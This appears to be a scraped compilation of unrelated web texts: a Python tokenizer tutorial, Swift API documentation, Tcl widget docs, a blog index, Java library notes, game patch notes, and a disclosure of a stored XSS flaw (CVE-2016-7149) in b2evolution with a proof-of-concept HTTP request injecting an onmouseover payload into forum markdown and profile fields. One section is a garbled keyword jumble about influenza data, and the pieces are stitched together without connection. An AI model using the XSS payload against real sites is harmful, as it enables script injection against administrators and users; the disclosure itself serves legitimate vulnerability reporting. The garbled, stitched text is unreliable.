type=1 (NAME) string='if' start=(2, 0) end=(2, 2) line='if True:\n'
type=1 (NAME) string='True' start=(2, 3) end=(2, 7) line='if True:\n'
type=53 (OP) string=':' start=(2, 7) end=(2, 8) line='if True:\n'
type=4 (NEWLINE) string='\n' start=(2, 8) end=(2, 9) line='if True:\n'
type=5 (INDENT) string=' ' start=(3, 0) end=(3, 4) line=' pass\n'
type=1 (NAME) string='pass' start=(3, 4) end=(3, 8) line=' pass\n'
type=4 (NEWLINE) string='\n' start=(3, 8) end=(3, 9) line=' pass\n'
type=6 (DEDENT) string='' start=(4, 0) end=(4, 0) line=''
type=0 (ENDMARKER) string='' start=(4, 0) end=(4, 0) line=''
Getting tokens by line of code
Once a source is broken down into token, it might be difficult to find some particular tokens of interest if we print the entire content. Instead, using get_lines
, we can tokenize by line of code , and just focus on a few lines of interest.
[5]:
source = """
if True:
if False:
pass
else:
a = 42 # a comment
print('ok')
"""
lines = token_utils.get_lines(source)
for line in lines[4:6]:
for token in line:
print(token)
print()
type=6 (DEDENT) string='' start=(5, 4) end=(5, 4) line=' else:\n'
type=1 (NAME) string='else' start=(5, 4) end=(5, 8) line=' else:\n'
type=53 (OP) string=':' start=(5, 8) end=(5, 9) line=' else:\n'
type=4 (NEWLINE) string='\n' start=(5, 9) end=(5, 10) line=' else:\n'
type=5 (INDENT) string=' ' start=(6, 0) end=(6, 8) line=' a = 42 # a comment\n'
type=1 (NAME) string='a' start=(6, 8) end=(6, 9) line=' a = 42 # a comment\n'
type=53 (OP) string='=' start=(6, 10) end=(6, 11) line=' a = 42 # a comment\n'
type=2 (NUMBER) string='42' start=(6, 12) end=(6, 14) line=' a = 42 # a comment\n'
type=55 (COMMENT) string='# a comment' start=(6, 15) end=(6, 26) line=' a = 42 # a comment\n'
type=4 (NEWLINE) string='\n' start=(6, 26) end=(6, 27) line=' a = 42 # a comment\n'
Getting particular tokens
Let’s focus on the sixth line.
[6]:
line = lines[5]
print( token_utils.untokenize(line) )
a = 42 # a comment
Ignoring the indentation, the first token is a
; ignoring newlines indicator and comments, the last token is 42
. We can get at these tokens using some utility functions.
[7]:
print("The first useful token is:\n ", token_utils.get_first(line))
print("The index of the first token is: ", token_utils.get_first_index(line))
print()
print("The last useful token on that line is:\n ", token_utils.get_last(line))
print("Its index is", token_utils.get_last_index(line))
The first useful token is:
type=1 (NAME) string='a' start=(6, 8) end=(6, 9) line=' a = 42 # a comment\n'
The index of the first token is: 1
The last useful token on that line is:
type=2 (NUMBER) string='42' start=(6, 12) end=(6, 14) line=' a = 42 # a comment\n'
Its index is 3
Note that these four functions, get_first
, get_first_index
, get_last
, get_last_index
exclude end of line comments by default; but this can be changed by setting the optional parameter exclude_comment
to False
.
[8]:
print( token_utils.get_last(line, exclude_comment=False))
type=55 (COMMENT) string='# a comment' start=(6, 15) end=(6, 26) line=' a = 42 # a comment\n'
Getting the indentation of a line
The sixth line starts with an INDENT
token. We can get the indentation of that line, either by printing the length of the INDENT
token string, or by looking at the start_col
attribute of the first “useful” token. The attribute start_col
is part of the two-tuple start = (start_row, start_col)
.
[9]:
print(len(line[0].string))
first = token_utils.get_first(line)
print(first.start_col)
8
8
In general, the second method is more reliable. For example, if we look at tokens the previous line (line 5, index 4), we can see that the length of the string of the first token, INDENT
, does not give us the information about the line indentation. Furthermore, a given line may start with multiple INDENT
tokens. However, once again, the start_col
attribute of the first “useful” token can give us this value.
[10]:
for token in lines[4]:
print(token)
print("-" * 50)
print(token_utils.untokenize(lines[4]))
first = token_utils.get_first(lines[4])
print("indentation = ", first.start_col)
type=6 (DEDENT) string='' start=(5, 4) end=(5, 4) line=' else:\n'
type=1 (NAME) string='else' start=(5, 4) end=(5, 8) line=' else:\n'
type=53 (OP) string=':' start=(5, 8) end=(5, 9) line=' else:\n'
type=4 (NEWLINE) string='\n' start=(5, 9) end=(5, 10) line=' else:\n'
--------------------------------------------------
else:
indentation = 4
Changing information
Suppose we wish to do the following replacement
repeat n: --> for some_variable in range(n):
Here n
might be anything that evaluates as an integer. Let’s see a couple of different ways to do this.
First, we simply change the string content of two tokens.
[11]:
source = "repeat 2 * 3 : "
tokens = token_utils.tokenize(source)
repeat = token_utils.get_first(tokens)
colon = token_utils.get_last(tokens)
repeat.string = "for some_variable in range("
colon.string = "):"
print(token_utils.untokenize(tokens))
for some_variable in range( 2 * 3 ):
Let’s revert back the change for the colon, to see a different way of doing the same thing.
[12]:
colon.string = ":"
print(token_utils.untokenize(tokens))
for some_variable in range( 2 * 3 :
This time, let’s insert an extra token, written as a simple Python string.
[13]:
colon_index = token_utils.get_last_index(tokens)
tokens.insert(colon_index, ")")
for token in tokens:
print(token)
type=1 (NAME) string='for some_variable in range(' start=(1, 0) end=(1, 6) line='repeat 2 * 3 : '
type=2 (NUMBER) string='2' start=(1, 7) end=(1, 8) line='repeat 2 * 3 : '
type=53 (OP) string='*' start=(1, 9) end=(1, 10) line='repeat 2 * 3 : '
type=2 (NUMBER) string='3' start=(1, 11) end=(1, 12) line='repeat 2 * 3 : '
)
type=53 (OP) string=':' start=(1, 13) end=(1, 14) line='repeat 2 * 3 : '
type=4 (NEWLINE) string='' start=(1, 15) end=(1, 16) line=''
type=0 (ENDMARKER) string='' start=(2, 0) end=(2, 0) line=''
In spite of ')'
being a normal Python string, it can still be processed correctly by the untokenize
function.
[14]:
print(token_utils.untokenize(tokens))
for some_variable in range( 2 * 3) :
Thus, unlike Python’s own untokenize function, we do not have to worry about token types when we wish to insert extra tokens.
Changing indentation
We can easily change the indentation of a given line using either the indent
or dedent
function.
[18]:
source = """
if True:
a = 1
b = 2
"""
# First, reducing the indentation of the "b = 2" line
lines = token_utils.get_lines(source)
a_line = lines[2]
a = token_utils.get_first(a_line)
assert a == "a"
b_line = lines[3]
b = token_utils.get_first(b_line)
lines[3] = token_utils.dedent(b_line, b.start_col - a.start_col)
print(token_utils.untokenize(a_line))
print(token_utils.untokenize(lines[3]))
a = 1
b = 2
Alternatively, we can indent the “a = 1” line
[20]:
lines = token_utils.get_lines(source)
a_line = lines[2]
a = token_utils.get_first(a_line)
assert a == "a"
b_line = lines[3]
b = token_utils.get_first(b_line)
lines[2] = token_utils.indent(a_line, b.start_col - a.start_col)
print(token_utils.untokenize(lines[2]))
print(token_utils.untokenize(b_line))
a = 1
b = 2
Finally, let’s recover the entire source with the fixed indentation.
[21]:
new_tokens = []
for line in lines:
new_tokens.extend(line)
print(token_utils.untokenize(new_tokens))
if True:
a = 1
b = 2


UsersController
struct UsersController : RouteCollection
The collection of /api/v3/user/*
route endpoints and handler functions related
to a user’s own data.
Separating these from the endpoints related to users in general helps make for a
cleaner collection, since use of User.parameter
in the paths here can be avoided
entirely.
-
Required. Registers routes to the incoming router.
Declaration
Swift
func boot(router: Router) throws
-
GET /api/v3/users/find/STRING
Retrieves a user’s
UserInfo
using either an ID (UUID string) or a username.This endpoint is of limited utility, but is included for the case of obtaining a user’s ID from a username. If you have an ID and want the associated username, use the more efficient
/api/v3/users/ID
endpoint instead.Note
Because a username can be changed, there is no guarantee that a once-valid username will result in a successful return, even though the User itself does exist.
Throws
404 error if no match is found.
Declaration
Swift
func findHandler(_ req: Request) throws -> Future<UserInfo>
Parameters
req
The incoming
Request
, provided automatically.Return Value
UserInfo
containing the user’s ID, username and timestamp of last profile update. -
GET /api/v3/users/ID/header
Retrieves the specified user’s
UserHeader
info.This endpoint provides one-off retrieval of the user information appropriate for a header on posted content – the user’s ID, current generated
.displayedName
, and filename of their current profile image.For bulk data retrieval, see the
ClientController
endpoints.Throws
A 5xx response should be reported as a likely bug, please and thank you.Declaration
Swift
func headerHandler(_ req: Request) throws -> Future<UserHeader>
Parameters
req
The incoming
Request
, provided automatically.Return Value
UserHeader
containing the user’s ID,.displayedName
and profile image filename. -
GET /api/v3/users/ID/profile
Retrieves the specified user’s profile, as a
ProfilePublicData
object.This endpoint can be reached with either Basic or Bearer authenticaton. If using Basic (requesting user is not logged in), the data returned may be a limited subset if the profile user’s
.limitAccess
setting istrue
, and the.message
field will contain text to inform the viewing user of that fact.Throws
404 error if the profile is not available. A 5xx response should be reported as a likely bug, please and thank you.Declaration
Swift
func profileHandler(_ req: Request) throws -> Future<ProfilePublicData>
Parameters
req
The incoming
Request
, provided automatically.Return Value
ProfilePublicData
containing the displayable properties of the specified user’s profile. -
GET /api/v3/users/ID
Retrieves the specified user’s
UserInfo
.This endpoint provides one-off retrieval of a user’s username and the timestamp of the last time their publicly viewable data was updated. It would typically be used to:
- obtain a username from an ID
- determine if a user’s info has updated since it was last obtained (username change, displayedName change, profile photo change, or any field on their profile)
For bulk data retrieval, see the
ClientController
endpoints.Throws
404 error if no match is found.Declaration
Swift
func userHandler(_ req: Request) throws -> Future<UserInfo>
Parameters
req
The incoming
Request
, provided automatically.Return Value
UserInfo
containing the user’s ID, username and timestamp of last profile update.
-
POST /api/v3/users/ID/block
Blocks the specified
User
. The blocking user and any sub-accounts will not be able to see posts from the blockedUser
or any of their associated sub-accounts, and vice versa. This affects all forms of communication, public and private, as well as user searches.Only the specified user is added to the block list, so as not to explicitly expose the ownership of any other accounts the blocked user may be using. The blocking of any associated user accounts is handled under the hood.
Users with an
.accessLevel
of.moderator
or higher may not be blocked. A block applied to such accounts will be accepted, but is effectively a uni-directional block. That is, the blocking user will not see the blocked user, but the blocked privileged user will still see the blocking user throughout the public areas of the system, and their role accounts will still be visible to the blocking user.Throws
A 5xx response should be reported as a likely bug, please and thank you.Declaration
Swift
func blockHandler(_ req: Request) throws -> Future<HTTPStatus>
Parameters
req
The incoming
Request
, provided automatically.Return Value
201 Created on success.
-
GET /api/v3/users/match/allnames/STRING
Retrieves all
UserProfile.userSearch
values containing the specified substring, returning an array of precomposed.userSearch
strings inUserSearch
format. The intended use for this endpoint is to help isolate a particular user in an auto-complete type scenario, by searching all of the.displayName
,.username
and.realName
profile fields.Compare to
/api/v3/user/match/username/STRING
, which searches just.username
and returns an array of just strings.Note
If the search substring contains “unsafe” characters, they must be url encoded. Unicode characters are supported. A substring comprised only of whitespace is disallowed. A substring of “@” or “(@” is explicitly disallowed to prevent single-step username harvesting.For bulk
.userSearch
data retrieval, see theClientController
endpoints.Throws
403 error if the search term is not permitted.Declaration
Swift
func matchAllNamesHandler(_ req: Request) throws -> Future<[UserSearch]>
Parameters
req
he incoming request
Container
, provided automatically.Return Value
[UserSearch]
containing the ID and profile.userSearch string values of all matching users. -
GET /api/v3/users/match/username/STRING
Retrieves all usernames containing the specified substring, returning an array of
@username
strings. The intended use for this endpoint is to help isolate a particular user in an auto-complete type scenario.Note
An
@
is prepended to each returned matching username as a convenience, but should never be included in the search itself. No base username can contain an@
, thus there would never be a match.Declaration
Swift
func matchUsernameHandler(_ req: Request) throws -> Future<[String]>
Parameters
req
he incoming request
Container
, provided automatically.Return Value
[String]
containng all matching usernames as “@username” strings. -
POST /api/v3/users/ID/mute
Mutes the specified
User
for the current user. The muting user will not see public posts from the muted user. A mute does not affect what is or is not visible to the muted user. A mute does not affect private communication channels.A mute does not mute any associated sub-accounts of the muted
User
, nor is it applied to any of the muting user’s associated accounts. It is very much just this currently logged-in username muting that one username.Any user can be muted, including users with privileged
.accessLevel
. Such users are not muted, however, when posting from role accounts. That is, a.moderator
can post as@moderator
and it is visible to all users, period.Throws
A 5xx response should be reported as a likely bug, please and thank you.Declaration
Swift
func muteHandler(_ req: Request) throws -> Future<HTTPStatus>
Parameters
req
The incoming
Request
, provided automatically.Return Value
201 Created on success.
-
POST /api/v3/users/ID/note
Creates a new
UserNote
associated with the specified user’s profile and the current user.Note
In order to support the editing of a note in contexts other than when actively viewing a profile, the contents of
profile.note
cannot be used to determine if there is an existing associated UserNote, since it is possible for a valid note to contain no text at any given time. This means that a GET should be performed on this endpoint prior to attempting a POST. If GET returns data, usePOST /api/v3/user/note
to update the note instead of this endpoint.Requires
NoteCreateData
payload in the HTTP body.Throws
400 error if the profile is a banned user’s. 409 error if there is an existing note on the profile. A 5xx response should be reported as a likely bug, please and thank you.
Declaration
Swift
func noteCreateHandler(_ req: Request, data: NoteCreateData) throws -> Future<Response>
Parameters
req
The incoming
Request
, provided automatically.data
NoteCreateData
struct containing the text of the note.Return Value
CreatedNoteData
containing the newly created note’s ID and text. -
POST /api/v3/users/ID/note/delete
Deletes an existing
UseerNote
associated with the specified user’s profile and the current user.Throws
400 error if there is no existing note on the profile. A 5xx response should be reported as a likely bug, please and thank you.Declaration
Swift
func noteDeleteHandler(_ req: Request) throws -> Future<HTTPStatus>
Parameters
req
The incoming
Request
, provided automatically.Return Value
204 No Content on success.
-
GET /api/v3/users/ID/note
Retrieves an existing
UserNote
associated with the specified user’s profile and the current user.Note
In order to support the editing of a note in contexts other than when actively viewing a profile, the contents of
profile.note
cannot be used to determine if there is an exiting associated UserNote, since it is possible for a valid note to contain no text at any given time. Use this GET endpoint prior to attempting a POST to it.Throws
400 error if there is no existing note on the profile. A 5xx response should be reported as a likely bug, please and thank you.
Declaration
Swift
func noteHandler(_ req: Request) throws -> Future<NoteEditData>
Parameters
req
The incoming
Request
, provided automatically.Return Value
NoteEditData
containing the note’s ID and text. -
POST /api/v3/users/ID/report
Creates a
Report
regarding the specifiedUser
.Note
The accompanying report message is optional on the part of the submitting user, but the
ReportData
is mandatory in order to allow one. If there is no message, send an empty string in the.message
field.Requires
ReportData
payload in the HTTP body.Declaration
Swift
func reportHandler(_ req: Request, data: ReportData) throws -> Future<HTTPStatus>
Parameters
req
The incoming
Request
, provided automatically.data
ReportData
containing an optional accompanying message.Return Value
201 Created on success.
-
POST /api/v3/users/ID/unblock
Removes a block of the specified
User
and all sub-accounts by the current user and all associated accounts.Throws
400 error if the specified user was not currently blocked. A 5xx response should be reported as a likely bug, please and thank you.Declaration
Swift
func unblockHandler(_ req: Request) throws -> Future<HTTPStatus>
Parameters
req
The incoming
Request
, provided automatically.Return Value
204 No Content on success.
-
POST /api/v3/users/ID/unmute
Removes a mute of the specified
User
by the current user.Throws
400 error if the specified user was not currently muted. A 5xx response should be reported as a likely bug, please and thank you.Declaration
Swift
func unmuteHandler(_ req: Request) throws -> Future<HTTPStatus>
Parameters
req
The incoming
Request
, provided automatically.Return Value
204 No Content on success.
-
Updates the cache values for all accounts involved in a block removal. The currently blocked user and any associated accounts are removed from all blocking user’s associated accounts’ blocks caches, and vice versa.
To avoid the potential race condition of multiple blocks being modified simultaneously, a simple locking scheme is used for the removal processing. A lock expires after 1 second if not explicitly deleted. To avoid resulting potential request fulfillment blocking,
swiftarr
uses an intermediary to perform the block removals, then updates the atomic keyedCache used for filtering.Throws
A 5xx response should be reported as a likely bug, please and thank you.Declaration
Parameters
requester
The
User
removing the block.user
The
User
currently being blocked.req
The incoming
Request
, which provides theEventLoop
on which this must run.Return Value
Void.
-
Updates the cache values for all accounts involved in a block.
To avoid the potential race condition of multiple blocks being modified simultaneously, a simple locking scheme is used for the block generation. A lock expires after 1 second if not explicitly deleted. To avoid resulting potential request fulfillment blocking,
swiftarr
uses an intermediary to perform the block additions, then updates the atomic keyedCache used for filtering.Throws
A 5xx response should be reported as a likely bug, please and thank you.Declaration
Parameters
requester
The
User
requesting the block.user
The
User
being blocked.req
The incoming
Request
, which provides theEventLoop
on which this must run.Return Value
Void.


Pseudo-3D items
The Slate has two item pseudo-3D item types: rectangles and polygons. We did at one time implement a psuedo-3D oval but it's rather hard to make it look reasonable using just the Tk canvas.Frame
Frame is a pseudo-3D rectangle.Options:
Frame implements its scaling code so that the borderwidth remains constant when the picture is resized. In all other respects, it can be treated like any other rectangular item.
- -borderwidth
- The width of the border of the item. By default, it is two. For various reasons, the borderwidth is actually twice this value if the -relief option is groove or ridge.
- -color
- The color of the item. This is a "generic" color as implemented by the Shades class -- this will soon be replaced by an enhanced version of ColorManager. By default, the color is the same as the standard Tk background color ("grey85").
- -relief
- The "relief" of the pseudo-3D item. This can be one of: raised, sunken, groove, ridge, or flat. The meanings of these are the same as for the Tk frame widget. The default is raised.
Enhancements: In an earlier version of the Slate, the Frame had an additional option,-fill, which could take values none, gloss, and matt. In the first case, the Frame had no "surface" -- that is, it was transparent, which was particularly useful if -relief was ridge. This should be reimplemented.
Example: Create some Frames with various options:
source $tycho/editors/slate/doc/internals/newslate.itcl $slate create Frame 30 30 70 50 -color green -tags moveable $slate create Frame 100 20 120 40 -color lightblue \ -relief ridge -tags moveable $slate create Frame 30 130 70 150 -relief sunken \ -borderwidth 4 -tags moveableSolid
Solid is a pseudo-3D polygon.Options:
Solid implements its scaling code so that the borderwidth remains constant when the picture is resized. Its coordinates, (like the standard Tk canvas polygon item) are a list of vertex coordinates. They must, however, be in a "clockwise" direction for the borders to be drawn properly.
- -borderwidth
- The width of the border of the item. By default, it is two. For various reasons, the borderwidth is actually twice this value if the -relief option is groove or ridge.
- -color
- The color of the item. This is a "generic" color as implemented by the Shades class -- this will soon be replaced by an enhanced version of ColorManager. By default, the color is the same as the standard Tk background color ("grey85").
- -relief
- The "relief" of the pseudo-3D item. This can be one of: raised, sunken, groove, ridge, or flat. The meanings of these are the same as for the Tk frame widget. The default is raised.
Enhancements: (i) See the remark about -fill option in the Frame section. (ii) In an earlier version of the Slate, Solid had methods to rotate and "flip" itself -- this should be reimplemented.
Example: Create some Solids with various options:
source $tycho/editors/slate/doc/internals/newslate.itcl $slate create Solid 100 20 120 20 120 10 140 30 120 50 120 40 100 40 \ -color green -tags moveable $slate create Solid 60 20 60 40 40 40 \ -color grey -borderwidth 3 -tags moveable


{% extends "splunkdj:base_with_app_bar.html" %} {% load splunkmvc %} {% block title %}Custom Table Cells - Web Framework Toolkit{% endblock title %} {% block css %} {% endblock css %} {% block content %}
When rendering a table, a useful feature is the ability
to customize how a particular cell is rendered. Using the
BaseCellRenderer
class, you can
implement your own cell renderers that can be reused
and shared.
In this example, a custom icon based on the severity value is used to display a clear visual indicator in each row. The default table output is also displayed.


influenza data hospital distributions records time delay health {border-style diagnosis px;} #ffffff;} Table pneumonia year OHIP available pandemic Fig. care Ontario associated billing given individuals number respiratory service P&I codes years Influenza admission days deaths diagnosed file hospitalization probability px; study used {font-family Acute DAD/IP Health Statistics able billings distribution events font-size multiple probabilities series Additional Data EHIN code counts databases day death. delays diagnoses died disease double; included individual infection record using various EHINs Insurance MOHLTC McMaster Pneumonia Research Time [], []. acute admission, border-color border-width defined discharge epidemics estimated example, hospitalized million models non-pandemic order patterns seasonal solid; transmission unique {font-style {font-weight (.–. (Table Abstract Canada Canada, Care Figure Gamma Hospitalized) NACRS P(Died P(Hospitalized Public [%] administrative bold changes conditional courier; database date days) diagnosis) diagnostic dynamics em; estimate finite frequency including infections influenza-associated influenza-like influenza. link listed mortality parameters primary pt;} research restricted summary times year.


In this section we'll take a look at some code snippets, benchmark results for a few datasets and you get to play with the RSA algorithm for custom inputs.
Before we begin it should be noted that cryptographic algorithms have tested and secure implementations in most popular languages. This is why you will never find yourself needing to implement any of the algorithms mentioned here. With that in mind, most of the code you will see are simple API calls.
In this demo section you can play around with RSA decryption, encryption, digital signing and veryfing digital signatures. By inserting custom input in the Plaintext area and clicking on the button the Ciphertext area will be populated with the result (and vice versa). The same goes for digital signing and verifying. Play around with it a bit. Try different inputs with different keys. Try encrypting two inputs with slight differences using the same key and see the difference in ciphertext.


Short post this morning, but last night on my way home from work, I did a short drive-by reflection. I was thinking about connections and how those impact those around us. It’s in two segments, but edited into one file. The only major editing I did was to compress the files so the sound didn’t clip during playback. You can listen below. [soundc... Read more 08 Jun 2013 - less than 1 minute read
I’ve been diving into Google+ a little bit more lately, and this is stemming from some of the experimenting I did yesterday, when I posted how to record a Google+ Hangout with higher quality audio for podcasting or other interview-type things (great language, I know). That led to a discussion last night with Lisa Nielson, who was trying to sche... Read more 06 Jun 2013 - 5 minute read
I’m working on a super-secret project right now (more to come this summer…bear with me) which will require me to record interviews via Google Hangout. Now, I know I’ve written before about how to screencast on a Chromebook using Google+, but the quality of those recordings, in particular the audio, can leave something to be desired. So, I went l... Read more 05 Jun 2013 - 1 minute read
I was able to squeak out another audio assignment today for the zone. While it isn’t Twilight Zone based, sometimes reading Craigslist can feel like its own alternate universe. I chose to beat Craigslist because…well, because finding a ridiculous post was pretty fun. I made sure to stick local, so I humbly submit the following performance using... Read more 04 Jun 2013 - less than 1 minute read
…there’s no escape. I wanted to catch up on assignments for the ds106zone, so I hopped in on this week’s audio work. An easy one to get in was create a radio bumper for the ds106radio channel using a short clip from The Twilight Zone. I deviated a little from this week’s episodes by watching Five Characters in Search of an Exit, and it struck ... Read more 04 Jun 2013 - 1 minute read
I posted earlier that I’d been having a hard time working with the assigned episodes this week. When I got home, I decided to watch a different episode and see what would happen. I turned on Will the Real Martian Please Stand Up? from season two of The Twilight Zone. I hadn’t ever seen this one, and the episodes with UFO’s and aliens involved al... Read more 31 May 2013 - 1 minute read
Man, this has been a long week.  So, my ds106 work had come to a relative halt. I worked on some here and there, but couldn’t really sit down and put in some time. I decided to do a sound story in which the United States revisits the giant’s planet…and le... Read more 31 May 2013 - less than 1 minute read
We all need time to do things we love. But, time is not always on our side. Neither are the people around us. Henry Bemis lived a life in which he found solace in books, and contempt from everyone around him. In Time Enough at Last, he is given an opportunity to forget the world and live in his books, but the Twilight Zone had other ideas. I ta... Read more 29 May 2013 - 2 minute read
Rounding out my assignments for the week, I’ve got a brand-spankin-new piece of vintage clip art for you to use in your next PowerPoint (because PPT is so much fun). The original image came from a SONY ad for a projection TV from the 1980’s. I found this on VintageAdBrowser.com, which has ads from the early 1900’s, categorized by ad type. It’s ... Read more 24 May 2013 - less than 1 minute read
The first week of ds106 is coming to a close, and I needed to finish my design work for the week. I clicked on “try a random assignment” and got the D&D Monster Manual assignment. I’ve never played Dungeons & Dragons, but the imagination and storytelling that go into the game are very attractive. (On a side note, if you’re near South Ben... Read more 24 May 2013 - 1 minute read


B2evolution v6.4.7 forum XSS [CVE-2016-7149]
29 Dec 2016发现者: 陈瑞琦
发现日期: 2016-08-11
下载地址: b2evolution
作者: b2evolution.net
作者通知日期: 2016-08-11
作者联系手段: http://b2evolution.net/?disp=msgform
CVE-ID：CVE-2016-7149
描述:
b2evolutioe is a content and community management system written in PHP and backed by a MySQL database. It is distributed as free software under the GNU General Public License. b2evolution originally started as a multi-user multi-blog engine when Fran?ois Planque forked b2evolution from version 0.6.1 of b2/cafelog in 2003.[2] A more widely known fork of b2/cafelog is WordPress. b2evolution is available in web host control panels as a “one click install” web app.3
细节:
B2evolutioes stored XSS in b2evolution version 6.7.5
Any user can post a forum with some evil code in it.
And when the admin see the forum, the page is lack of filter to protect the admin.
Step 1 : Register a user of the web-site, active the user by mail.
Step 2 : Post a forum with some thing like
[test_forum_xss](http://test.forum.xss"onmouseover="alert(1)"on="1 "test_forum_xss")
Step 3 : Save the changes
Step 4 : Any user view the forum, when the mouse over the content, the XSS code runs.
PoC:
code
POST /b2evolution/htsrv/item_edit.php HTTP/1.1
Host: <IP_ADDRESS>
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://<IP_ADDRESS>/b2evolution/index.php/forums/?disp=edit&cat=17
Cookie: session_b2evo_192_168_204_130=41_UqjtnJWp3oJZWVMtpznHzh4zgKxvBvTR; session_b2evo=87_j6i55FblKwr7rWFbheuTwjRaLbiN6ghM
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 636
post_title=test_forum_xss&content=%5Btest_forum_xss%5D%28http%3A%2F%2Ftest.forum.xss%22onmouseover%3D%22alert%281%29%22on%3D%221+%22test_forum_xss%22%29%0D%0A&renderers_displayed=1&renderers%5B%5D=b2evMark&renderers%5B%5D=b2evWiLi&renderers%5B%5D=b2evGMco&renderers%5B%5D=b2evALnk&renderers%5B%5D=evo_videoplug&renderers%5B%5D=b2WPAutP&post_category=17&post_extracats%5B%5D=17&actionArray%5Bcreate%5D=&crumb_item=IT6Hs70o5KE9J0kgz9nmWNnAhCfW4qeo&ctrl=items&blog=5&post_ID=0&redirect_to=http%3A%2F%2F<IP_ADDRESS>%2Fb2evolution%2Findex.php%2Fforums%2F%3Fdisp%3Dedit&preview=0&more=1&preview_userid=8&item_typ_ID=6&post_status=community
edited_user_login=kevino&edited_user_firstname=kevino&edited_user_lastname=kevino&edited_user_nickname=kevino&edited_user_gender=M&edited_user_ctry_ID=&edited_user_rgn_ID=&edited_user_subrg_ID=&edited_user_city_ID=&edited_user_age_min=&edited_user_age_max=&organizations%5B%5D=&uf_38=kevino&uf_39=kevino&uf_40=kevino&uf_41=https%3A%2F%2Ftwitter.com%2Fkevino%22onmouseover%3D%22alert%281%29%22onerror%3D%221&uf_42=https%3A%2F%2Ffacebook.com%2Fkevino&uf_43=http%3A%2F%2Fkevino.net%2Fkevino&new_field_type=3&actionArray%5Bupdate%5D=Save+Changes%21&crumb_user=CQ7LjBDKmMin8zqBDl050nNEbmINmIGi&user_tab=profile&identity_form=1&user_ID=8&blog=1&orig_user_ID=8&12_3=4_56
Fix:
https://github.com/b2evolution/b2evolution/commit/9a4ab85439d1b838ee7b8eeebbf59174bb787811


The man was an 18 year old black male..."


Usage with Java 5
This library was initially developed targeting Java 5, and then modified to handle the new filtering capabilities in Java 6. Both versions were very different, but considering that the features in Java 6 will likely stay, I decided to retrofit the new implementation into the Java 5 ' library, adding some classes that only exist on the Java 6 standard library. These added classes are placed in the net.coderazzi.filters.artifacts package (only for the Java 5 implementation).
At the end, both versions share most of the code, although the internal imports are different in some cases. And users see mostly the same interface using Java 5 or Java 6, which is an important feature, in case some later migration happens. Specific exceptions exist; for example, autoselection or adaptive choices are only available on the Java 6 version.
There is, however, a difference between JTable users in Java 5 and Java 6: the former does not provide sorting capabilities. The solution is usually to setup a table model with sorting capabilities, like the TableSorter. The source version of TableFilter includes such class for the test programs, although the TableFilter itself does obviously not require it.
Although this library exports the same interface to Java 5 and 6 users, the internal implementation is quite different; in Java 6, there is one table model, while in Java 5 users must handle at least two table models (plus a third one if sorting is also added):
- The normal table model associated initially to the table.
- A model providing the filtering capabilities.
This library is distributed with an implementation of the second model, described below, and it can be setup automatically; note, however, that the usage of multiple table models makes some operations more complicated. For example, once that filtering is on place, the row number in the view does not correspond any more to the row number in the model; the JTable provides methods to enquiry for translations between both views, but in version 5, users must extract the model and perform these queries against the model.
In practical terms, this means that the user must perform multiple model conversions; for example, the provided example includes the following code to obtain the selected row element:
int selected = table.getSelectedRow(); if (selected != -1) { int model = ((TableModelFilter) table.getModel()).convertRowIndexToModel(selected); Object selection = tableModel.getRow(tableSorter.modelIndex(model)); }
Note that from version 5.0.0, it is not released anymore the Java 5 version (Java 5 entered its end-of-life on April 8, 2008 and is no longer supported as of November 3, 2009). The last release including the Java 5 compatible version is numbered 4.5.0 (17th November 2012).
ITableModelFilter
Java 5 users of this library must attach, to the table, a model implementing the interface ITableModelFilter
If the attached model does not implement this interface, the library automatically creates one and replaces the current model with it. The default implementation is called TableModelFilter.
This implementation tries to mimic the behaviour found in the Java 6 tables; however, users can definitely provide their own implementation, for performance or extended interface reasons. The implementation provides two specific methods to convert positions between the index and the model:
- convertRowIndexToModel returns the location of index in terms of the underlying model.
- convertRowIndexToView returns the location of index in terms of the view.


Sizeable God Eater 3 version 2.20 update available for Nintendo Switch
by My Nintendo News AdminThose of you who own God Eater 3 on the Nintendo Switch platform might want to check whether your copy has received the latest update, as Version 2.20 is out now. The update is pretty hefty and packed with new features such as a New Game Plus mode and new Time Attack missions. Here’s the full patch notes for the God Eater 3 2.20 update:
New Features
- A “New Game Plus” feature has been added, enabling you to carry over your save data and begin anew game.
- A jukebox has been added, which allows you to change the music within your caravan. (Note: Unlocks after completing the main game.)
Standard Missions
- Added new missions to the “Extra” section.
Extra Episode
- Added new episodes to “Traversing the Past” (Lulu and Ricardo).
Certification Missions
- Added new Certification Missions.
Time Attack Missions
- Added new Time Attack Missions.
Special Missions
- Added new missions to the “Challenge to the Hounds” section.
Abandoned God Arcs
- Added Abandoned God Arcs with new skills. These can be obtained from certain high difficulty missions.
Avatar Additions
-
Added new items for the Accessory A slot:
- Ear Muffs
- Knit Hat
- Small Hat
- Festive Hat
- *Certain items must be unlocked by fulfilling certain conditions.
- Added new items fro the Accessory B slot.
-
Added new outfits:
-
Male:
- Black Mage Uniform
- Red Mage Uniform
- Alchemist Uniform
- White Mage Uniform
- Blaze Walker
- Snow Walker
- Forest Walker
- Abyss Walker
-
Female:
- Black Mage Uniform
- Red Mage Uniform
- Alchemist Uniform
- White Mage Uniform
- Blaze Walker
- Snow Walker
- Forest Walker
- Abyss Walker
-
Bug Fixes
- Fixed various issues to provide a better gaming experience.